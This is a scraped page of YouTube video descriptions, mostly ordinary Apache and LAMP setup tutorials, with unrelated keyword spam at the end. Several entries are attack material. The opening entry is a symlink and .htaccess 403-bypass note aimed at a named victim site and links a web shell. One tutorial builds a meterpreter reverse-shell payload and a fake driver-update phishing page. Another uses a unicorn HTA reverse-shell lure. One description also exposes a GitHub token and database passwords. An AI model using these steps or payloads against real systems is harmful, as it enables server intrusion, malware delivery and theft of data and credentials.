Shell:https://www.sendspace.com/file/r2gd6l //////////////////////////REVESE IP///////////////////////// http://www.yougetsignal.com/tools/web-sites-on-web-server/ ///////////////////////MY VICTIM///////////////////////////// http://www.vnnation.com/ //////////////////////GET PATH BY ERROR LOG //////////////////// tail -n 1000 /usr/local/apache/logs/error_log|grep 123456789 path is : /home/vnnation/public_html/ /////////////////////////SYM LINK THE TARGET /////////////////// ln -s /home/vnnation/public_html/index.htm index.txt - 403 forbidden ////////////// NOW BYPASS 403 forbidden ///////////////////////// 1. symlink / folder ln -s / r00t 2.upload .htaccess file Options all DirectoryIndex Sux.html AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html AddHandler txt .html Require None Satisfy Any
Views: 1566 Office Seller
Apache URL Rewrite (mod_rewrite module) #57
 
22:46
In this tutorial you will learn how to activate Apache URL Rewrite by using mod_rewrite module. I will show you how to activate mod_rewrite module, how to modify an already defined Apache Virtual Host and I will explain what the new options are doing. During this tutorial I will spreak about the following Apache directives: Directory, Options, AllowOverride, Order and Allow. More info on: http://www.liviubalan.com/apache-url-rewrite-mod_rewrite-module
Views: 4771 Liviu Balan
How do I configure apache to run Perl CGI scripts
 
00:58
Apache Tutorial Dynamic Content with CGI Enable CGI executing and use perl script edit the /etc/httpd/conf/httpd.conf Options FollowSymLinks ExecCGI DirectoryIndex index.html index.cgi AddHandler cgi-script .cgi .pl # /etc//init.d/httpd restart Stopping httpd: [ OK ] Starting httpd:
Views: 6983 Zariga Tongy
Serveur LAMP français : partie 2 Configuration apache
 
13:41
Seconde partie du tutorial LAMP. Aujourd'hui nous allons relier un nom de domaine à notre serveur Apache 2. Pour l'exemple j'utilise le nom de domaine tuto.fr localement, c'est à dire que dans ma box dans la section DNS j'ai redirigé le nom de domaine tuto.Fr sur l'ip local de mon serveur 192.168.1.31 Création du repertoire web /home/tuto/www , se rendre dans votre /home avec : cd ~ Puis créer le repertoire avec (SANS les droits root/sudo): mkdir www Ensuite création du fichier de configuration de notre site que nous nommerons tuto.fr.conf. Se rendre dans le repertoire des sites actifs: cd /etc/apache2/sites-enabled création du fichier de configuration avec les droits sudoers: sudo vim tuto.fr.conf à l'intérieur du fichier copier/coller la partie suivante en l'adaptant à votre site (les descriptions youtube interdisants les signes plus grand que et plus petit que ils ont été retirés en début et fin des balises VirtualHost et Directory): VirtualHost *:80 ServerAdmin [email protected] ServerName tuto.fr ServerAlias *.tuto.fr DocumentRoot /home/tuto/www/ Directory "/home/tuto/www" Options Indexes FollowSymLinks AllowOverride None Require all granted /Directory /VirtualHost Enregistrer et quitter avec :wq! Faire prendre en compte les modifications avec : sudo service apache2 restart
Views: 2281 VulgaNux
Disable directory Listing Directory browsing - apache Web Server  Linux OS - wideows os
 
01:04
Disable directory Listing Directory browsing - apache Web Server Linux OS - wideows os and all other OS
Views: 107 john ramp
Solr Schema - Configure and Post Files to an Apache Solr Core
 
15:29
Configure an Apache Solr core schema in schema.xml or managed-schema in the Solr Admin UI and Solr Schema API curl tool, post a file to a Solr core for the films dataset and do a Solr search. Here we are working in standalone mode and modifying a schemaless configuration file. Find all of the code examples for this video here: https://factorpad.com/tech/solr/tutorial/solr-schema.html Find the outline to the Tutorial Series here: https://factorpad.com/tech/solr/tutorial/solr-tutorial.html Happy Searching! https://factorpad.com
Views: 8786 FactorPad
Tutorial: How to setup a fake website with an executable payload
 
13:24
In this tutorial I will briefly be going over the installation of apache2, the creation of a fake webbpage including a generated payload. Also I will show how to setup a listener using armitage (to handle the connection from the payload). For the sake of simplifying things, firewall and windows defender have been turned off. Disclaimer: Everything taught in this video is solely meant for educational purposes, I will not be held responsible for misuse. # Commands used in this video were executed as the root user, and are stated below! # (Every now and then the clear command is used to clear up the terminal to make it look more clean and neat :) ) apt update apt upgrade (If you don't use Kali Linux) apt install apache2 To test apache2 (and to start apache2): service apache2 start After starting apache2, navigate to 127.0.0.1 (localhost) on your webbrowser. msfvenom -l (to figure out which payload you would like to use) msfvenom --payload-options -p windows/meterpreter/reverse_tcp (to view the exact options of a payload) msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -f exe -o [whateveryouwanttocallyourvirus] LHOST=[yourIPadress] LPORT=[desiredport] rm /var/www/html/* Copy the payload to your webserver: mv ~/virus.exe /var/www/html My HTML file used in the video, requires payload to be in the same directory as this index.html file: REPLACE EVERY "[" or "]" WITH BRACKETS (LIKE IN THE VIDEO), OTHERWISE WONT WORK. [html] [head] [title]Error 405: Unable to...[/title] [/head] [body] [h1]Error 405: Unable to browse the web.[/h1] [hr] [h3]Your drivers seem to be outdated and are not secure anymore. To resolve this issue and access the internet again you need to update your drivers.[/h3] [br] [h3]Click [a href=virus.exe]here[/a] to download and install the required drivers.[/h3] [/body] [/html] If you have a different name for your payload, replace the href in h3 to your filename. service apache2 restart In armitage, to setup the connection, enter the following commands: use multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST [yourIPadress] set LPORT [yourdesiredport] set RHOST [targetsIPadress] (find out targets IP using for example nmap) exploit After this is done, the target must open the payload so you gain access.
Views: 1622 Spl1nt3rf4ll
Disable Directory Browsing ( Directory Listing ) On Apache Web Server On Ubuntu 18 04
 
02:23
in This Tutorial you will learn "How To Disable Directory Browsing ( Directory Listing ) On Apache Web Server On Ubuntu 18.04 " Apache2 is the most popular webservers in used today. Majority of the websites and web apps that are in operation are most likely running Apache2 web server. By default directory listing is enabled in the Apache server. Directory listing displays all of the directory with all the files from the Apache server. If this is enabled, an attacker can easily view any file, analyse it and obtain sensitive information about an application.
Building a NAS Episode 4 - Create a personal cloud
 
33:06
In this episode we turn our nas into a "cloud" using Owncloud, the personal cloud server software. With this software we can automatically sync files between Windows, Linux, Mac, and phones. Owncloud: http://owncloud.org If you like what you see, please like, subscribe, ring the bell, and share this video! Please follow us on Twitter: @SetUsUpChannel Or on Facebook at http://www.facebook.com/setusupchannel Commands used in this video: Prerequisite software installs: sudo yum -y update sudo yum -y install wget unzip mariadb-server yum-utils To install php 7.2: sudo rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm sudo rpm -Uvh http://rpms.remirepo.net/enterprise/remi-release-7.rpm sudo yum-config-manager --enable remi-php72 sudo yum install php php-mysqlnd php-pecl-zip php-xml php-mbstring php-gd php-mcrypt php-pear php-pspell php-pdo php-xml php-intl php-zip php-zlib sudo sed -i "s/post_max_size = 8M/post_max_size = 256M/" /etc/php.ini sudo sed -i "s/upload_max_filesize = 2M/upload_max_filesize = 256M/" /etc/php.ini To create the MySQL database: mysql -u root -p CREATE DATABASE ownclouddb; GRANT ALL PRIVILEGES ON ownclouddb.* TO 'ownclouduser'@'localhost' IDENTIFIED BY 'Y0ur-pa55w0rD' WITH GRANT OPTION; FLUSH PRIVILEGES; quit To setup the virtual directory in apache (owncloud.conf) (NOTE: there open and close angle brackets around the two Directory lines, but I can't put them in these notes.) Directory "/var/www/html/owncloud/" DirectoryIndex index.html index.php Options FollowSymLinks AllowOverride All Require all granted /Directory
Views: 41 SetUsUp
mod rewrite - How to enable mod_rewrite for Apache
 
02:36
mod rewrite - How to enable mod_rewrite for Apache. How To Set Up mod_rewrite for Apache on Ubuntu 14.04. How To Rewrite URLs with mod_rewrite for Apache on Ubuntu How to enable mod_rewrite on Apache =================================================== Run the commend. sudo a2enmod rewrite and restart the apache sudo service apache2 restart Edit file sudo nano /etc/apache2/sites-available/000-default.conf Search for “DocumentRoot /var/www/html” and add the following lines directly below: Directory "/var/www/html" AllowOverride All /Directory Save and exit the nano editor via CTRL-X, “y” and ENTER. Restart the server again: sudo service apache2 restart
Views: 683 thetraining help
Task 25 : WordPress Key Files for SEO Speed Security - .htaccess- WP Spartans 300
 
19:47
.htaccess file is very important for WordPress SEO, Speed and Security. It's all about Apache Web Server Configration. We can also use it to redirect pages, domains and sub directories. Let's explore it. In Task # 25 of our three months absolutely free wordpress training under WordPress Spartans Mission 2019, we discussed the importance, creation and editing of .htaccess file. The ht is for Hyper text. We can upload it to root directory or to any directory (such as wp-content of WordPress Themes). We also discussed how we can stop bots browsing our directories. How to stop bots from hot linking or sql injections etc. We can also ban certain IPs (sort of blacklisting IPs that try to sniff our content). .htaccess is also used for forced downloads etc. Use this code for Hot Linking Precaution: ## DISABLE HOTLINKING RewriteEngine on # Options +FollowSymlinks RewriteCond %{HTTP_REFERER} !^$ RewriteCond %{HTTP_REFERER} !^https://(www.)?your-website-url.com/.*$ [NC] RewriteRule .(mp3|jpg|wav)$ – [F] A great number of Cache plugins such as W3 Total cache add new entries to this file for caching system, browser and header expiry etc. #Redirect Old Page/ Post to New Post RewriteEngine On Redirect 301 /old page or post title here/(one space) http:// or https://yourwebsite.com/new page or post title/ # To redirect whole site (create .htaccess in the root of old site and put this code in it. Redirect 301 / http:// or https://www.new website url.com/ # To redirect from main directory to sub directory Redirect /index.html or php (whatever the extension is) /sub directory name here/ #To avoid 404 error ErrorDocument 404 http:// or https://www.website home page.com/ #Loading sub directory from main root RewriteEngine on RewriteRule ^$ /any sub directory name/ [L] #If someone searches a page on site that doesn't exist, you can redirect as udner. Options +SymLinksIfOwnerMatch RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] ## آئی پی وغیرہ کو اجازت دیں یا روک دیں ## order deny,allow deny from all allow from 000.100.1.1 allow from 192.000.1.2 #WPSpartans300 is a mission. WordPress Developers from all over the world have started taking interest in this initiative. Therefore, I'm putting all my energy to make this journey wonderful and full of success. Link to Access Top WP Developers Mission 2019: http://bit.ly/2Pgia38 Or, simply visit https://www.freelancepakistan.com and click on 300 Spartan Page. Through this three months Free WordPress Training (Absolutely FREE), we will learn how to create responsive WordPress Themes and Plugins. We’ll be in a position to sell our assets via Themeforest (Envato) and other platforms. Get ready to conquer that front. Let me tell you that without passion and commitment, you won’t be able to be a Rockstar WordPress Developer. It does take a lot of hard work ; however, the end result is awesome. I will guide you step by step so that you could get results from your WordPress Training Mission. Get ready to excel as a professional developer. It’d be fun and exciting adventure.
Views: 897 Freelance Pakistan
Wamp Server Error : Forbidden You don't have permission to access /phpmyadmin/ on this server
 
02:41
In this video I am going to show How to solve Forbidden Wamp Server Error which says You don't have permission to access /phpmyadmin/ on this server. or Forbidden :You don't have permission to access. the solution -of WAMP phpmyadmin 403 forbidden error "Forbidden You don't have permission to access /phpmyadmin/ on this server is easy. on Windows 10 or Windows 8. WAMP is a Windows OS based program that installs and configures Apache web server, MySQL database server, PHP scripting language, phpMyAdmin (to manage MySQL database’s). WAMP stands for Windows, Apache, MySQL, PHP. wampserver installer can be easily downloaded from its website on windows . We can Download WAMP server exe from http://www.wampserver.com/en/ or directly from Sourceforge. In addition I will also cover how to solve client denied by server configuration: /usr/share/phpmyadmin, you don't have permission to access /phpmyadmin/ on this server. wamp directory index forbidden by options directive: /usr/share/phpmyadmin/ phpmyadmin.conf location -------------------Online Courses to learn---------------------------- Java - https://bit.ly/2H6wqXk C++ - https://bit.ly/2q8VWl1 AngularJS - https://bit.ly/2qebsLu Python - https://bit.ly/2Eq0VSt C- https://bit.ly/2HfZ6L8 Android - https://bit.ly/2qaRSAS Linux - https://bit.ly/2IwOuqz AWS Certified Solutions Architect - https://bit.ly/2JrGoAF Modern React with Redux - https://bit.ly/2H6wDtA MySQL - https://bit.ly/2qcF63Z ----------------------Follow--------------------------------------------- My Website - http://www.codebind.com My Blog - https://goo.gl/Nd2pFn My Facebook Page - https://goo.gl/eLp2cQ Google+ - https://goo.gl/lvC5FX Twitter - https://twitter.com/ProgrammingKnow Pinterest - https://goo.gl/kCInUp Text Case Converter - https://goo.gl/pVpcwL -------------------------Stuff I use to make videos ------------------- Stuff I use to make videos Windows notebook – http://amzn.to/2zcXPyF Apple MacBook Pro – http://amzn.to/2BTJBZ7 Ubuntu notebook - https://amzn.to/2GE4giY Desktop - http://amzn.to/2zct252 Microphone – http://amzn.to/2zcYbW1 notebook mouse – http://amzn.to/2BVs4Q3 ------------------Facebook Links ---------------------------------------- http://fb.me/ProgrammingKnowledgeLearning/ http://fb.me/AndroidTutorialsForBeginners http://fb.me/Programmingknowledge http://fb.me/CppProgrammingLanguage http://fb.me/JavaTutorialsAndCode http://fb.me/SQLiteTutorial http://fb.me/UbuntuLinuxTutorials http://fb.me/EasyOnlineConverter
Views: 11914 ProgrammingKnowledge
How to block access to the wp-content uploads folder
 
02:32
How to block access to the wp-content uploads folder Follow me on other media: ►Website: http://www.guidoshowtos.com ►Facebook: https://www.facebook.com/guidoshowtos ►Twitter: https://twitter.com/guidoshowtos ►Google+: https://plus.google.com/+Guidoshowtos Full instructions: By default, everyone is able to access and browse through your wp-content folder by adding ‘wp-content/uploads’ to your domain name. This means they’ll be able to see all ‘Media’ files you have uploaded to WordPress. In a lot of cases, you don’t want this to happen, as some files aren’t supposed to be accessible to everyone. For instance, you might have an ebook uploaded, that you only want to give away to people that subscribe to your email list. You can block access to these folders by editing the .htaccess file. for your site. This file is located in the root directory of your WordPress website. There are multiple ways to access and edit the .htaccess file. In this video, I'm using the cPanel file manager. If you’re using cPanel, click ‘File Manager’, then select the site you want to do this for. Make sure you have ‘Show Hidden Files (dotfiles).’ Selected! If you don’t, you wont be able to to see your htaccess file. Click ‘Go’ to go to the root directory of your site. In File Manager, select your .htaccess file, then right-click, and click ‘Code Edit’. Click ‘Edit’. On a blank line add the following code: "Options -Indexes" Then click ‘Save’, to save the .htaccess file. Once the file is saved, you can close the editor and File Manager. As you can see, visiting any part of your WP-content directory now gives the "Error - 403 Forbidden". Done! Access to media files inside these directories, is, of course, still possible if you have the full URL to a file.
Views: 8737 Guido's How-to's
UNC and HTA files combined Web Server   Social Engineering
 
00:43
UNC and HTA files combined Web Server - Social Engineering python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.102 443 hta Open the /root/unicorn/hta_attack directory and move Launcher.hta and index.html to /var/www/html directory, start apache /etc/init.d/apache2 start To add the UNC request in an image tag look at the index file towards the end of the vid.
Views: 212 myexploit2600
Angular base href
 
07:18
In this tutorial we will discuss the significance of the base href element in Angular. When setting up routing in an angular application, the first step is to set the base path using the base href element. The base path tells the angular router, how to compose the navigation URLs. The browser uses the base href value to prefix relative URLs when referencing CSS files, scripts, and images. During development we usually set this to a single forward slash This means all the URLs will be relative to the root of the application. So when we navaigate to "/list", the path "/list" will be appended to root UR and the complete URL will be as shown below. Notice "/list" is relative to the root URL. http://localhost:4200/list Along the same lines, when we navigate to "/create", the complete URL is http://localhost:4200/create When we deploy our application to a server, we typically deploy it to a sub folder on the server. For example, if we are deploying our application in a sub-folder called "emp", then we set the base href element to /emp/ as This means all the URLs now will be relative to the "emp" base path and will be as shown below. http://serverName/emp/list http://serverName/emp/create During development we usually set base href element to a single forward slash. At this point, if we execute the following command, all the URLs will be relative to the root URL "http://localhost:4200" ng serve -o Also, on the "sources" tab in the browser developer tools, you will find all the Script, Images and Template files are relative to the root URL "http://localhost:4200" During development, if you want a different base path other than "/", simply execute the "ng serve" command with --base-href option set to your desired base path ng serve -o --base-href /emp/ At this point all the URLs will be relative to "http://localhost:4200/emp" as we have set the --base-href to /emp/. You can confirm this by looking at the URLs in the address bar and the "Sources" tab in the browser developer tools. On your local development machine, if you set the base href element in index.html to "/emp/" instead of a single "/" and if you run ng serve -o command without the "base-href" option you will not see anything on the browser. When you open the browser developer tools, you will see the JavaScript bundle files failed to load. To fix this execute ng serve command along with the base href option as shown below. ng serve -o --base-href /emp/ On your local development machine, if you set the base href element in index.html to a single forward slash and if you want to deploy your application on a server on sub-folder called "emp", then you will have to remember to update the base href element value in index.html to "/emp/". There are 2 ways we can do this. 1. Manually update the index.html file OR 2. Use the --base-href option along with the ng build command as shown below. This will update the "base href" element value index.html. ng build --base-href /emp/ Text version of the video http://csharp-video-tutorials.blogspot.com/2017/12/angular-base-href.html Slides http://csharp-video-tutorials.blogspot.com/2017/12/angular-base-href-slides.html Angular CRUD Tutorial https://www.youtube.com/watch?v=rJ9o4TyhSuo&list=PL6n9fhu94yhWUcq5Pc16uf8YKXoZ87Vh_ Angular CRUD Tutorial Text Articles & Slides http://csharp-video-tutorials.blogspot.com/2017/12/angular-crud-tutorial.html All Dot Net and SQL Server Tutorials in English https://www.youtube.com/user/kudvenkat/playlists?view=1&sort=dd All Dot Net and SQL Server Tutorials in Arabic https://www.youtube.com/c/KudvenkatArabic/playlists
Views: 34175 kudvenkat
Apache Solr Tutorial - Create, Rename and Delete Core in Solr - Part 1
 
31:51
In this the first part of video tutorial, I will show you how you can create new core i.e. a single index, rename and delete existing core using Solr script file which you can find inside /your_installation_directory/solr/bin directory as well as using solr admin UI interface. Part 2 of this Video: https://www.youtube.com/watch?v=jNzcnQMsyK8
Views: 3708 KnowledgeThirst
How To Install Linux, Apache, MySQL, PHP LAMP stack on Ubuntu 16 04 And Ubuntu 16 10 - SPUZE
 
20:33
Introduction A "LAMP" stack is a group of open source software that is typically installed together to enable a server to host dynamic websites and web apps. This term is actually an acronym which represents the Linux operating system, with the Apache web server. The site data is stored in a MySQL database, and dynamic content is processed by PHP. In this guide, we'll get a LAMP stack installed on an Ubuntu 16.04 Droplet. Ubuntu will fulfill our first requirement: a Linux operating system. Step 1: Install Apache and Allow in Firewall #sudo apt-get update #sudo apt-get install apache2 Set Global ServerName to Suppress Syntax Warnings Next, we will add a single line to the /etc/apache2/apache2.conf file to suppress a warning message. While harmless, if you do not set ServerName globally, you will receive the following warning when checking your Apache configuration for syntax errors: Open up the main configuration file with your text edit: #sudo nano /etc/apache2/apache2.conf Adjust the Firewall to Allow Web Traffic Next, assuming that you have followed the initial server setup instructions to enable the UFW firewall, make sure that your firewall allows HTTP and HTTPS traffic. You can make sure that UFW has an application profile for Apache like so: #sudo ufw app list If you look at the Apache Full profile, it should show that it enables traffic to ports 80 and 443: #sudo ufw app info "Apache Full" Step 2: Install MySQL Now that we have our web server up and running, it is time to install MySQL. MySQL is a database management system. Basically, it will organize and provide access to databases where our site can store information. #sudo apt-get install mysql-server When the installation is complete, we want to run a simple security script that will remove some dangerous defaults and lock down access to our database system a little bit. Start the interactive script by running: Warning: Enabling this feature is something of a judgment call. If enabled, passwords which don't match the specified criteria will be rejected by MySQL with an error. This will cause issues if you use a weak password in conjunction with software which automatically configures MySQL user credentials, such as the Ubuntu packages for phpMyAdmin. It is safe to leave validation disabled, but you should always use strong, unique passwords for database credentials. #sudo mysql_secure_installation Step 3: Install PHP PHP is the component of our setup that will process code to display dynamic content. It can run scripts, connect to our MySQL databases to get information, and hand the processed content over to our web server to display. #sudo apt-get install php libapache2-mod-php php-mcrypt php-mysql This should install PHP without any problems. We'll test this in a moment. In most cases, we'll want to modify the way that Apache serves files when a directory is requested. Currently, if a user requests a directory from the server, Apache will first look for a file called index.html. We want to tell our web server to prefer PHP files, so we'll make Apache look for an index.php file first. To do this, type this command to open the dir.conf file in a text editor with root privileges: #sudo nano /etc/apache2/mods-enabled/dir.conf After this, we need to restart the Apache web server in order for our changes to be recognized. You can do this by typing this: #systemctl restart apache2 Install PHP Modules To enhance the functionality of PHP, we can optionally install some additional modules. To see the available options for PHP modules and libraries, you can pipe the results of apt-cache search into less, a pager which lets you scroll through the output of other commands: #apt-cache search php- | less Use the arrow keys to scroll up and down, and q to quit. For example, to find out what the php-cli module does, we could type this: apt-cache show php-cli If, after researching, you decide you would like to install a package, you can do so by using the apt-get install command like we have been doing for our other software. If we decided that php-cli is something that we need, we could type: # sudo apt-get install php-cli Step 4: Test PHP Processing on your Web Server n order to test that our system is configured properly for PHP, we can create a very basic PHP script. We will call this script info.php. In order for Apache to find the file and serve it correctly, it must be saved to a very specific directory, which is called the "web root". In Ubuntu 14.04, this directory is located at /var/www/html/. We can create the file at that location by typing: sudo nano /var/www/html/info.php This will open a blank file. We want to put the following text, which is valid PHP code, inside the file.
Views: 314 OnBell Corporation
How To Set Up Apache Virtual Hosts, PHP, MYSQL, and Magento 2 on Ubuntu 14.04? Part 2 of 2
 
12:03
How To Set Up Apache Virtual Hosts, PHP, MYSQL, and Magento 2 on Ubuntu 14.04? Part 2 of 2 Continue from the Part 1: https://youtu.be/-eGB_DB-gag More detail information in my blog: http://www.allute.com/blog/our-blog-1/post/how-to-set-up-apache-virtual-hosts-php-mysql-and-magento-2-on-ubuntu-14-04-8#scrollTop=3400 In Github get a token in your account 5e38d034197f7462e7ad2a6ff1270ceac07864dc Composer config -g github-oauth.github.com 5e38d034197f7462e7ad2a6ff1270ceac07864dc php5enmod mcrypt apt-get install php5-intl sudo apt-get install php5-xsl Upgrade MYSQL sudo apt-get update sudo apt-get upgrade sudo apt-get install mysql-server-5.6 Change from HTTPs to SSH in Github and clone the Magento2 from there [email protected]:magento/magento2.git B: Clone Magento 2 from GitHub In your Putty window, head to the directory you created in step 0, and ensure that it is empty. Remove the index.html file you created if you followed the URL in step 0. cd /var/www/paulfan.net/public_html rm index.html git clone [email protected]:magento/magento2.git . C: Enable the www-data User sudo chsh -s /bin/bash www-data D: Install Dependencies with Composer cd /var/www/paulfan.net/public_html composer install chown -R www-data . E: Set Xdebug Max Nesting Level go to magento2 root: /var/www/magento2/magento2 go to paulfan.net root: cd /var/www/paulfan.net/public_html nano .htaccess add the "php_value xdebug.max_nesting_level 500" between php_value xdebug.max_nesting_level 500 F: Set Magento File Permissions find . -type d -exec chmod 700 {} \; find . -type f -exec chmod 600 {} \; sudo chmod +x bin/magento G: Set Up Database Table and User mysql -uroot -pYOURPASSWORD (my case is "mysql -uroot -p1Loveqotb") CREATE DATABASE magento2; // Create a new database user. We’ll call ours mageuser. CREATE USER 'mageuser'@'localhost' IDENTIFIED BY '1Loveqotb'; GRANT ALL PRIVILEGES ON magento2.* TO 'mageuser'@'localhost'; exit H: Run the Magento installation cd /var/www/paulfan.net/public_html www.paulfan.net follow the screen instruction enter your mysql password I: I had to go to my apache configuration (/etc/apache2/apache2.conf) and change this: cd /etc/apache2 nano apache2.conf Options Indexes FollowSymLinks AllowOverride none Require all granted To: Options Indexes FollowSymLinks AllowOverride All Require all granted And also enable mod rewrite: sudo a2enmod rewrite Then restart Apache: sudo service apache2 restart After that, you see your Magento potal at www.PaulFan.net We are passionate for your success. If you need help to setup, please contact us at www.Allute.com.
Views: 666 侯鵬飛事工
Changing the Apache Root WWW Directory in WAMP Server
 
04:19
Changing the Apache Root WWW Directory in WAMP Server. In this tutorial I will cover how to change the default www directory that Apache looks for, to some other folder on your harddrive. WAMP homepage: http://www.wampserver.com/en/ Apache homepage: http://httpd.apache.org/ MySQL homepage: http://www.mysql.com/ PHP homepage: http://www.php.net/ Lucid Nerd Social: Twitter: http://twitter.com/#!/thelucidnerd Facebook: http://www.facebook.com/pages/The-Lucid-Nerd/231999260192935 Blog: http://www.lucidnerd.wordpress.com Google+: https://plus.google.com/u/0/102109513207945593939/ SEO tags repeated: Apache WAMP "WAMP Server" "WWW Directory" Root "Windows 7" "Lucid Nerd" "Beginners Guide" Tutorial How-to "Apache HTTP Server" "Software Tutorial"
Views: 44633 lucidnerd.com
How to update Apache settings on Mac for custom 404 page
 
00:45
To test out your custom 404 page locally on Mac, you will need to update the config files within Apache since overriding is not allowed by default. Here are the steps: 1) Go to "/etc/apache2" folder using 'Go to' menu within Finder. We have to follow this way because by default this folder is hidden. 2) Locate "httpd.conf" file and open it in any text editor. (In my case, Sublime text). 3) Do a find for "allowoverride" a couple of times or until you find one specifically for .htaccess files. 4) Change the allowoverride setting to "All" if it is set to "None". 5) You're done! Hit me up if you have any questions!
Views: 2011 Rachit Gupta
Configure Apache using WHM
 
05:21
There are several configuration pages for Apache in WHM. Navigate to the Service Configuration category. 2) Go to Apache Configuration. Before changing any of the settings in this section, it is important that you read over the documentation and instructions, when available. When in doubt, leave a setting alone. 3) Let's start with the Global Configuration page. This page allows you to make some minor adjustments to the way Apache functions. The default settings should work just fine, in most cases. You might want to change the ServerSignature and ServerTokens options. Both of these relate to how your server identifies itself to your visitors and their browsers. 4) When finished here, click Save. For most of the services on your system, any configuration changes will require that the program is restarted. This usually drops any connections currently made to the service, so it's best not to restart a service when a bunch of people are connected. 5) Click here to rebuild Apache's configuration files and restart the program. 6) Return to the Apache Configuration page. 7) Next, PHP and SuExec Configuration. This page allows you to choose which of the PHP versions available on your system are active. You'll also see this page when recompiling Apache and PHP. You can also enable suEXEC for Apache, which decreases the security risks when running CGI and SSI programs. Note that this has no effect on PHP scripts -- that's where suPHP comes in. Enabling both PHP 4 and 5 here is one of the steps involved in running both versions of PHP simultaneously. When you have both on your system, you'll be able to choose which is used by default to execute .php files. 8) Click Save New Configuration when ready. You will be shown the settings you chose and the generated php.conf file. DirectoryIndex Priority lets you change which filenames can be used for the index page of a directory, as well as their order of preference. Let's move a filename up in the list, giving it higher priority. 9) Choose a filename. 10) Click Move Up until the filename is in the desired location. 11) Now, let's remove a filename from the list. 12) If you wish to add a filename to the list, use the Add button. 13) Click Save. 14) Again, you will have to rebuild the configuration files and restart Apache. The Include Editor allows you to enter advanced configuration directives that aren't available elsewhere in WHM. Since your configuration files are constantly recreated from scratch by WHM, manually editing the configuration files is not an option if you want your changes to be retained. Reserved IPs Editor lets you force Apache to run only on specific IPs, rather than all of them as is the default. Apache's log files can get huge quickly if your server hosts a lot of websites. With the Log Rotation page, you can choose which logs are rotated to a backup directory when they reach a certain size. To finish, let's check out the Memory Usage Restrictions page. This tool can help increase your server's stability at the potential cost of performance. It will limit each Apache process to a specific amount of memory, based on its memory usage history on your server. 15) Proceed memory limit has been adjusted.

Boot barn phoenix az
Art in bloom boston
Helicopter tour san antonio
Cartoon cupcake vector free download
Angry birds halloween hd free download